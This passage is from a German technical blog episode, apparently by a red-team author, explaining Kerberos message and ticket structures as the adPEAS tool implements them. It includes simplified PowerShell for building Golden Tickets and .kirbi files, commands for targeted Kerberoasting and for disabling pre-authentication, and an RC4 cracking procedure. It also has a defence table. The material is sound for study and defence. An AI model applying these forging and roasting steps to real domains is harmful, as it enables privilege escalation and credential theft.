# PA-TGS-REQ = AP-REQ mit TGT + Authenticator

# 1. Authenticator bauen
$authenticator = [Asn1Builder]::CreateApplicationTag(2,
    [Asn1Builder]::CreateSequence(
        [Asn1Builder]::Combine(@(
            # [0] authenticator-vno: 5
            [Asn1Builder]::CreateContextTag(0,
                [Asn1Builder]::CreateInteger(5)
            ),
            # [1] crealm
            [Asn1Builder]::CreateContextTag(1,
                [Asn1Builder]::CreateGeneralString($realm)
            ),
            # [2] cname
            [Asn1Builder]::CreateContextTag(2, $cname),
            # [5] ctime
            [Asn1Builder]::CreateContextTag(5,
                [Asn1Builder]::CreateGeneralizedTime($ctime)
            ),
            # [6] cusec
            [Asn1Builder]::CreateContextTag(6,
                [Asn1Builder]::CreateInteger($cusec)
            )
        ))
    )
)

# 2. Authenticator mit Session Key verschlüsseln (Usage 7)
$encAuthenticator = Invoke-KerberosEncrypt -Key $sessionKey `
    -Usage 7 -Plaintext $authenticator -EType $etype

# 3. AP-REQ mit TGT + verschlüsseltem Authenticator zusammenbauen
$apReq = Build-APReq -Ticket $tgt -EncryptedAuthenticator $encAuthenticator

TGS-REP (Ticket-Granting Service Reply)

Analog zur AS-REP, aber das Ticket ist jetzt ein Service Ticket statt eines TGT.

TGS-REP ::= [APPLICATION 13] KDC-REP

-- Wie AS-REP, aber:
-- msg-type = 13
-- ticket = Service Ticket (verschlüsselt mit Service-Account-Key)
-- enc-part = verschlüsselt mit TGS Session Key (oder Authenticator Subkey)

KRB-CRED: Das .kirbi-Format

KRB-CRED ist das Format, in dem Kerberos-Tickets exportiert werden — bekannt als .kirbi-Dateien (Rubeus, Mimikatz). adPEAS verwendet KRB-CRED sowohl beim Ticket-Export als auch beim Diamond Ticket (Base TGT parsen).

Struktur:

KRB-CRED ::= [APPLICATION 22] SEQUENCE {
    pvno      [0] INTEGER (5),
    msg-type  [1] INTEGER (22),
    tickets   [2] SEQUENCE OF Ticket,
    enc-part  [3] EncryptedData      -- Enthält EncKrbCredPart
}

EncKrbCredPart ::= SEQUENCE {
    ticket-info [0] SEQUENCE OF KrbCredInfo
}

KrbCredInfo ::= SEQUENCE {
    key        [0] EncryptionKey,     -- Session Key
    prealm     [1] Realm,
    pname      [2] PrincipalName,
    flags      [3] TicketFlags,
    authtime   [4] KerberosTime,
    starttime  [5] KerberosTime,
    endtime    [6] KerberosTime,
    renew-till [7] KerberosTime,
    srealm     [8] Realm,
    sname      [9] PrincipalName
}

Wie adPEAS ein .kirbi baut (Invoke-TicketForge):

function New-KrbCred {
    param(
        [byte[]]$Ticket,       # Das gefälschte Ticket
        [byte[]]$SessionKey,   # Session Key
        [int]$SessionKeyEType, # Enc Type des Session Keys
        [string]$Realm,
        [string]$UserName,
        [hashtable]$Times      # authtime, starttime, endtime, renew-till
    )

    # 1. KrbCredInfo bauen
    $credInfo = Build-KrbCredInfo -SessionKey $SessionKey `
        -SessionKeyEType $SessionKeyEType -Realm $Realm `
        -UserName $UserName -Times $Times

    # 2. EncKrbCredPart (NICHT verschlüsselt bei .kirbi!)
    $encPart = [Asn1Builder]::CreateSequence(
        [Asn1Builder]::CreateContextTag(0,
            [Asn1Builder]::CreateSequence($credInfo)
        )
    )

    # 3. "Verschlüsselung" mit etype 0 (= keine Verschlüsselung)
    $encData = Build-EncryptedData -EType 0 -Cipher $encPart

    # 4. KRB-CRED zusammenbauen
    $krbCred = [Asn1Builder]::CreateApplicationTag(22,
        [Asn1Builder]::CreateSequence(
            [Asn1Builder]::Combine(@(
                [Asn1Builder]::CreateContextTag(0,
                    [Asn1Builder]::CreateInteger(5)),
                [Asn1Builder]::CreateContextTag(1,
                    [Asn1Builder]::CreateInteger(22)),
                [Asn1Builder]::CreateContextTag(2,
                    [Asn1Builder]::CreateSequence($Ticket)),
                [Asn1Builder]::CreateContextTag(3, $encData)
            ))
        )
    )

    return $krbCred
}

Wichtig: Bei .kirbi-Dateien wird der EncKrbCredPart nicht verschlüsselt (etype = 0). Der Session Key liegt im Klartext vor. Wer eine .kirbi-Datei hat, hat das vollständige Ticket. Deshalb sollte man .kirbi-Dateien wie Passwörter behandeln.


Teil 5: Ticket-Struktur

Ticket (APPLICATION 1)

Das Kerberos-Ticket ist die Kernstruktur des Protokolls. Es wird vom KDC ausgestellt und mit dem Key des Ziel-Service verschlüsselt. Der Client kann es nicht entschlüsseln — er transportiert es nur.

Struktur:

Ticket ::= [APPLICATION 1] SEQUENCE {
    tkt-vno   [0] INTEGER (5),
    realm     [1] Realm,              -- Domain des Service
    sname     [2] PrincipalName,      -- Service Principal Name
    enc-part  [3] EncryptedData       -- EncTicketPart (verschlüsselt)
}

Im Drahtformat:

61 82 xx xx                    -- APPLICATION 1 (Ticket)
|  30 82 xx xx                 -- SEQUENCE
|  |  A0 03                    -- [0] tkt-vno
|  |  |  02 01 05              -- INTEGER 5
|  |  A1 xx                    -- [1] realm
|  |  |  1B xx                 -- GeneralString "CONTOSO.COM"
|  |  A2 xx                    -- [2] sname
|  |  |  30 xx                 -- PrincipalName
|  |  |  |  A0 03              -- [0] name-type
|  |  |  |  |  02 01 02        -- INTEGER 2 (NT-SRV-INST)
|  |  |  |  A1 xx              -- [1] name-string
|  |  |  |  |  30 xx           -- SEQUENCE OF GeneralString
|  |  |  |  |  |  1B xx        -- "krbtgt"
|  |  |  |  |  |  1B xx        -- "CONTOSO.COM"
|  |  A3 82 xx xx              -- [3] enc-part
|  |  |  30 82 xx xx           -- EncryptedData
|  |  |  |  A0 03              -- [0] etype
|  |  |  |  |  02 01 12        -- INTEGER 18 (AES256)
|  |  |  |  A1 03              -- [1] kvno
|  |  |  |  |  02 01 02        -- INTEGER 2
|  |  |  |  A2 82 xx xx        -- [2] cipher
|  |  |  |  |  04 82 xx xx     -- OCTET STRING (verschlüsselte Bytes)

EncTicketPart: Was im Ticket steckt

Der verschlüsselte Teil des Tickets enthält die eigentlichen Autorisierungsinformationen:

EncTicketPart ::= [APPLICATION 3] SEQUENCE {
    flags       [0] TicketFlags,      -- BIT STRING (32 Bits)
    key         [1] EncryptionKey,    -- Session Key
    crealm      [2] Realm,            -- Client Domain
    cname       [3] PrincipalName,    -- Client Name
    transited   [4] TransitedEncoding,
    authtime    [5] KerberosTime,     -- Authentifizierungszeitpunkt
    starttime   [6] KerberosTime,     -- Gültig ab
    endtime     [7] KerberosTime,     -- Gültig bis
    renew-till  [8] KerberosTime,     -- Erneuerbar bis
    caddr       [9] HostAddresses,    -- Client-Adressen (optional)
    authorization-data [10] AuthorizationData  -- PAC!
}

TicketFlags im Detail:

BitFlagHexBeschreibung
0RESERVED0x80000000Reserviert
1FORWARDABLE0x40000000Ticket kann weitergeleitet werden
2FORWARDED0x20000000Ticket wurde weitergeleitet
3PROXIABLE0x10000000Ticket kann als Proxy dienen
4PROXY0x08000000Ticket ist ein Proxy
5MAY-POSTDATE0x04000000Ticket kann rückdatiert werden
6POSTDATED0x02000000Ticket wurde rückdatiert
7INVALID0x01000000Ticket ist ungültig (muss validiert werden)
8RENEWABLE0x00800000Ticket ist erneuerbar
9INITIAL0x00400000Ticket wurde vom AS ausgestellt (nicht TGS)
10PRE-AUTHENT0x00200000Pre-Authentication wurde durchgeführt
11HW-AUTHENT0x00100000Hardware-Auth wurde durchgeführt
12TRANSITED-POLICY-CHECKED0x00080000Transit-Pfad geprüft
13OK-AS-DELEGATE0x00040000Server ist als Delegations-Target markiert
16NAME-CANONICALIZE0x00010000Name wurde kanonisiert
26DISABLE-TRANSITED-CHECK0x00000020Transit-Check deaktiviert
28RENEWABLE-OK0x00000008Renewal OK
30ENC-PA-REP0x00000002Encrypted PA-REP enthalten

Standard-Flags in adPEAS Golden/Silver/Diamond Tickets:

# Default TicketFlags für Golden Ticket:
$flags = @(
    "FORWARDABLE",      # 0x40000000
    "PROXIABLE",        # 0x10000000
    "RENEWABLE",        # 0x00800000
    "INITIAL",          # 0x00400000
    "PRE-AUTHENT"       # 0x00200000
)
# Combined: 0x50E00000 -> BIT STRING: 00 50 E0 00 00

Wie adPEAS ein Ticket baut (Golden Ticket Beispiel)

function Build-GoldenTicket {
    param(
        [string]$UserName,
        [string]$Domain,
        [string]$DomainSID,
        [byte[]]$KrbtgtKey,
        [int]$EType,
        [int[]]$GroupRIDs
    )

    # 1. Session Key generieren
    $sessionKey = New-RandomBytes -Count 32  # AES256

    # 2. PAC bauen (KERB_VALIDATION_INFO)
    $pac = Build-PAC -UserName $UserName -DomainSID $DomainSID `
        -GroupRIDs $GroupRIDs -KrbtgtKey $KrbtgtKey -EType $EType

    # 3. AuthorizationData mit PAC
    $authData = Build-AuthorizationData -PAC $pac

    # 4. Timestamps
    $now = [DateTime]::UtcNow
    $authtime = $now.ToString("yyyyMMddHHmmssZ")
    $starttime = $authtime
    $endtime = $now.AddHours(10).ToString("yyyyMMddHHmmssZ")
    $renewTill = $now.AddDays(7).ToString("yyyyMMddHHmmssZ")

    # 5. EncTicketPart zusammenbauen
    $encTicketPart = [Asn1Builder]::CreateApplicationTag(3,
        [Asn1Builder]::CreateSequence(
            [Asn1Builder]::Combine(@(
                # [0] flags
                [Asn1Builder]::CreateContextTag(0,
                    Build-TicketFlags -Flags @("FORWARDABLE","PROXIABLE",
                        "RENEWABLE","INITIAL","PRE-AUTHENT")
                ),
                # [1] key (Session Key)
                [Asn1Builder]::CreateContextTag(1,
                    Build-EncryptionKey -EType 18 -Key $sessionKey
                ),
                # [2] crealm
                [Asn1Builder]::CreateContextTag(2,
                    [Asn1Builder]::CreateGeneralString($Domain.ToUpper())
                ),
                # [3] cname
                [Asn1Builder]::CreateContextTag(3,
                    New-PrincipalName -NameType 1 -Names @($UserName)
                ),
                # [4] transited
                [Asn1Builder]::CreateContextTag(4,
                    Build-TransitedEncoding
                ),
                # [5] authtime
                [Asn1Builder]::CreateContextTag(5,
                    [Asn1Builder]::CreateGeneralizedTime($authtime)
                ),
                # [6] starttime
                [Asn1Builder]::CreateContextTag(6,
                    [Asn1Builder]::CreateGeneralizedTime($starttime)
                ),
                # [7] endtime
                [Asn1Builder]::CreateContextTag(7,
                    [Asn1Builder]::CreateGeneralizedTime($endtime)
                ),
                # [8] renew-till
                [Asn1Builder]::CreateContextTag(8,
                    [Asn1Builder]::CreateGeneralizedTime($renewTill)
                ),
                # [10] authorization-data (PAC!)
                [Asn1Builder]::CreateContextTag(10, $authData)
            ))
        )
    )

    # 6. EncTicketPart verschlüsseln (Usage 2)
    $encPart = Invoke-KerberosEncrypt -Key $KrbtgtKey -Usage 2 `
        -Plaintext $encTicketPart -EType $EType

    # 7. Ticket zusammenbauen
    $ticket = [Asn1Builder]::CreateApplicationTag(1,
        [Asn1Builder]::CreateSequence(
            [Asn1Builder]::Combine(@(
                [Asn1Builder]::CreateContextTag(0,
                    [Asn1Builder]::CreateInteger(5)),
                [Asn1Builder]::CreateContextTag(1,
                    [Asn1Builder]::CreateGeneralString($Domain.ToUpper())),
                [Asn1Builder]::CreateContextTag(2,
                    New-PrincipalName -NameType 2 `
                        -Names @("krbtgt", $Domain.ToUpper())),
                [Asn1Builder]::CreateContextTag(3,
                    Build-EncryptedData -EType $EType -Cipher $encPart)
            ))
        )
    )

    return @{
        Ticket = $ticket
        SessionKey = $sessionKey
    }
}

Teil 6: Warum Kerberoasting und ASREPRoast funktionieren

Kerberoasting: Der Designfehler

Kerberoasting nutzt eine fundamentale Eigenschaft des Kerberos-Protokolls aus: Jeder authentifizierte Benutzer kann ein Service Ticket für jeden SPN in der Domain anfordern.

Der normale Flow:

1. Client hat TGT (aus AS-REP)
2. Client sendet TGS-REQ fuer z.B. "MSSQLSvc/sql01.contoso.com"
3. KDC stellt Service Ticket aus:
   - EncTicketPart wird mit dem Key des Service Accounts verschlüsselt
   - Client bekommt das verschlüsselte Ticket
4. Client leitet Ticket an den Service weiter

Das Problem: Der Client bekommt das verschlüsselte Ticket
OHNE den Service Key zu kennen!

Warum das angreifbar ist:

TGS-REP
    |
    v
+-------------------------------------------+
| Service Ticket                            |
| +---------------------------------------+ |
| | EncTicketPart                         | |
| | (verschluesselt mit Service Key)      | |
| | +-----------------------------------+ | |
| | | Session Key                       | | |
| | | Client Name                       | | |
| | | PAC (Gruppen, SIDs, ...)          | | |
| | | Timestamps                        | | |
| | +-----------------------------------+ | |
| +---------------------------------------+ |
+-------------------------------------------+
    |
    v
Offline Brute-Force:
    Für jedes Kandidaten-Passwort:
      1. Key ableiten (RC4: MD4(password), AES: PBKDF2+DK)
      2. Ticket entschlüsseln
      3. Prüfen ob die entschlüsselte Struktur gültig ist
      -> Gültig? Passwort gefunden!

RC4-HMAC macht es besonders einfach:

RC4-HMAC:
  Key = MD4(UTF-16LE(password))
  -> KEIN Salt, KEIN Stretching
  -> ~100 Millionen Versuche/Sekunde mit hashcat (GPU)

AES256:
  Key = DK(PBKDF2(password, salt, 4096))
  -> 4096 PBKDF2-Iterationen
  -> ~100.000 Versuche/Sekunde mit hashcat (GPU)
  -> 1000x langsamer als RC4!

Was adPEAS bei Kerberoasting tut (Episode 6):

# Targeted Kerberoasting: SPN auf User setzen
Set-DomainUser -Identity "svc_backup" -SetSPN "HTTP/fakeservice.contoso.com"

# Was unter der Haube passiert:
# 1. LDAP-Modify: servicePrincipalName hinzufügen
# 2. Jetzt kann JEDER Domain User ein TGS-REQ fuer diesen SPN senden
# 3. Das Service Ticket ist mit dem Key von svc_backup verschlüsselt
# 4. Offline crackbar!

Warum RC4-Tickets so leicht zu knacken sind:

Die Verifikation bei RC4-HMAC ist trivial — man muss nur prüfen, ob die HMAC-MD5-Checksum über den Plaintext stimmt:

Fuer jeden Passwort-Kandidaten:
  1. key = MD4(UTF-16LE(kandidat))
  2. K1 = HMAC-MD5(key, usage_bytes)
  3. K3 = HMAC-MD5(K1, checksum_aus_ticket)
  4. plaintext = RC4(K3, ciphertext)
  5. expected_checksum = HMAC-MD5(K1, plaintext)
  6. Wenn expected_checksum == checksum_aus_ticket -> TREFFER!

Schritt 1 (MD4) ist extrem schnell. Es gibt keine teure Key-Derivation. Deshalb sind RC4-verschlüsselte Tickets in Sekunden bis Minuten knackbar, während AES256-Tickets je nach Passwort-Komplexität Stunden bis Monate brauchen.

ASREPRoast: Kerberoasting ohne Authentifizierung

ASREPRoast ist die Variante für Accounts, bei denen Pre-Authentication deaktiviert ist (DONT_REQ_PREAUTH).

Normaler AS-REQ Flow:

Client                         KDC
  |                             |
  |-- AS-REQ (ohne PA-DATA) --->|
  |                             |
  |<-- KRB-ERROR: PREAUTH_REQ --|  "Bitte Pre-Auth senden!"
  |                             |
  |-- AS-REQ (mit PA-DATA) ---->|  PA-ENC-TIMESTAMP
  |                             |  (verschlüsselter Timestamp)
  |<-- AS-REP ------------------|  TGT + enc-part
  |                             |

ASREPRoast Flow (DONT_REQ_PREAUTH gesetzt):

Client                         KDC
  |                             |
  |-- AS-REQ (ohne PA-DATA) --->|
  |                             |
  |<-- AS-REP ------------------|  TGT + enc-part
  |                             |  (verschlüsselt mit User Key!)
  |                             |
  v
Der enc-part der AS-REP ist mit dem User Key verschlüsselt
-> Offline Brute-Force möglich!

Der entscheidende Unterschied:

  • Kerberoasting: Service Ticket ist mit dem Key des Service Accounts verschlüsselt. Der Angreifer braucht ein TGT (muss authentifiziert sein).
  • ASREPRoast: Der enc-part der AS-REP ist mit dem Key des Ziel-Users verschlüsselt. Der Angreifer braucht keine Authentifizierung — nur den Usernamen.

Was adPEAS tut:

# Pre-Auth deaktivieren (wenn man WriteProperty hat)
Set-DomainUser -Identity "targetuser" -DontReqPreauth

# Jetzt kann JEDER (auch ohne Domain-Credentials!) eine AS-REQ senden:
# 1. AS-REQ an KDC mit cname = "targetuser", OHNE PA-DATA
# 2. KDC antwortet mit AS-REP
# 3. enc-part der AS-REP ist mit dem Key von "targetuser" verschlüsselt
# 4. Offline crackbar!

Defense: Was hilft gegen diese Angriffe?

MaßnahmeGegenEffekt
AES-only erzwingenKerberoasting1000x langsamer zu knacken
Lange Service-Account-Passwörter (25+ Zeichen)KerberoastingBrute-Force unpraktikabel
gMSA verwendenKerberoasting240-Byte-Passwort, automatische Rotation
Pre-Auth für alle aktivierenASREPRoastAngriff nicht möglich
Service-Account-SPNs auditierenTargeted KerberoastingUnautorisierte SPNs erkennen
Event ID 4769 monitorenBeideUngewöhnliche Ticket-Anfragen erkennen

Zusammenfassung: Die Schichten des Kerberos-Protokolls

+================================================================+
|                    Kerberos-Nachricht                          |
|  (AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-CRED)                  |
+================================================================+
|                                                                |
|  +-----------------------------------------------------------+ |
|  | ASN.1 DER Encoding                                        | |
|  | - Tag-Length-Value Struktur                               | |
|  | - APPLICATION Tags (6A, 6B, 6C, 6D, 76)                   | |
|  | - Context Tags (A0-A9)                                    | |
|  | - adPEAS: Asn1Builder / Asn1Parser                        | |
|  +-----------------------------------------------------------+ |
|                          |                                     |
|  +-----------------------------------------------------------+ |
|  | Verschluesselung                                          | |
|  | - RC4-HMAC (etype 23): HMAC-MD5 + RC4                     | |
|  | - AES256-CTS (etype 18): AES-CBC-CTS + HMAC-SHA1-96       | |
|  | - Confounder + Checksum fuer Integritaet                  | |
|  | - adPEAS: Invoke-KerberosEncrypt / Invoke-KerberosDecrypt | |
|  +-----------------------------------------------------------+ |
|                          |                                     |
|  +-----------------------------------------------------------+ |
|  | Key Derivation                                            | |
|  | - RC4: MD4(UTF-16LE(password)) -> kein Salt!              | |
|  | - AES: PBKDF2(password, salt, 4096) -> n-fold -> DK       | |
|  | - Sub-Keys: Ke (0xAA), Ki (0x55), Kc (0x99)               | |
|  | - adPEAS: Get-Hash / Get-SubKey                           | |
|  +-----------------------------------------------------------+ |
|                          |                                     |
|  +-----------------------------------------------------------+ |
|  | Ticket-Struktur                                           | |
|  | - Ticket [APPLICATION 1] mit EncTicketPart                | |
|  | - PAC (Privilege Attribute Certificate)                   | |
|  | - PAC-Checksums via cryptdll.dll                          | |
|  | - adPEAS: Build-GoldenTicket / Build-SilverTicket         | |
|  +-----------------------------------------------------------+ |
|                          |                                     |
|  +-----------------------------------------------------------+ |
|  | Angriffe                                                  | |
|  | - Kerberoasting: Service Ticket offline knacken           | |
|  | - ASREPRoast: AS-REP ohne Pre-Auth knacken                | |
|  | - Golden Ticket: TGT fälschen mit krbtgt-Key              | |
|  | - Silver Ticket: Service Ticket fälschen                  | |
|  | - Diamond Ticket: Echtes TGT modifizieren                 | |
|  +-----------------------------------------------------------+ |
|                                                                |
+================================================================+

Was wir gelernt haben

  1. ASN.1 ist die Drahtsprache — Jede Kerberos-Nachricht ist ein ASN.1-DER-codierter Baum. adPEAS baut und parst diese Bäume manuell, weil .NET die Kerberos-spezifischen Tags nicht direkt unterstützt.

  2. Key Derivation ist der Schwachpunkt — RC4-HMAC verwendet MD4 ohne Salt. AES256 verwendet PBKDF2 mit 4096 Iterationen. Der Unterschied: Faktor 1000 bei der Cracking-Geschwindigkeit.

  3. Verschlüsselung schützt nur so gut wie der Key — RC4-HMAC und AES-CTS sind beide korrekt implementiert, aber wenn der Key (z.B. aus einem DCSync) kompromittiert ist, kann man beliebige Tickets fälschen.

  4. Tickets sind signierte Autorisierungstoken — Der KDC stellt sie aus, der Service verifiziert sie. Wer den Signing-Key hat (krbtgt für TGTs, Service-Account für Service Tickets), kontrolliert die Autorisierung.

  5. Kerberoasting funktioniert by Design — Jeder authentifizierte User kann Service Tickets anfordern. Die Verschlüsselung mit dem Service-Account-Key macht sie offline angreifbar.

  6. PAC-Checksums sind die letzte Verteidigungslinie — Ohne korrekte Checksums (berechnet via cryptdll.dll) werden gefälschte Tickets abgelehnt. Das ist auch der Grund, warum PAC-Validation-Patches (CVE-2022-37967) so wichtig waren.

Weiterführende Ressourcen

  • RFC 4120 — The Kerberos Network Authentication Service (V5)
  • RFC 4757 — The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows
  • RFC 3961 — Encryption and Checksum Specifications for Kerberos 5
  • RFC 3962 — Advanced Encryption Standard (AES) Encryption for Kerberos 5
  • MS-KILE — Kerberos Protocol Extensions (Microsoft)
  • MS-PAC — Privilege Attribute Certificate Data Structure (Microsoft)

← Episode 6: Offensive Operations | Episode 8: PAC & Ticket Forging — coming soon


Hinweis: Diese Episode beschreibt die Kerberos-Internals, wie adPEAS v2 sie implementiert. Die gezeigten Code-Beispiele sind vereinfacht — die tatsächliche Implementierung in adPEAS enthält zusätzliche Fehlerbehandlung, Edge Cases und Optimierungen.

Fragen oder Fehler gefunden? Issue melden unter https://github.com/61106960/adPEAS/issues

Keep digging — the bytes don’t lie.

Über den Autor

Alexander Sturz

Gründer & Red Team Lead

Active Directory Ninja und Experte für offensive Sicherheit mit Spezialisierung auf Kompromittierung von Unternehmensinfrastrukturen und Post-Exploitation-Techniken.

Verwandte Artikel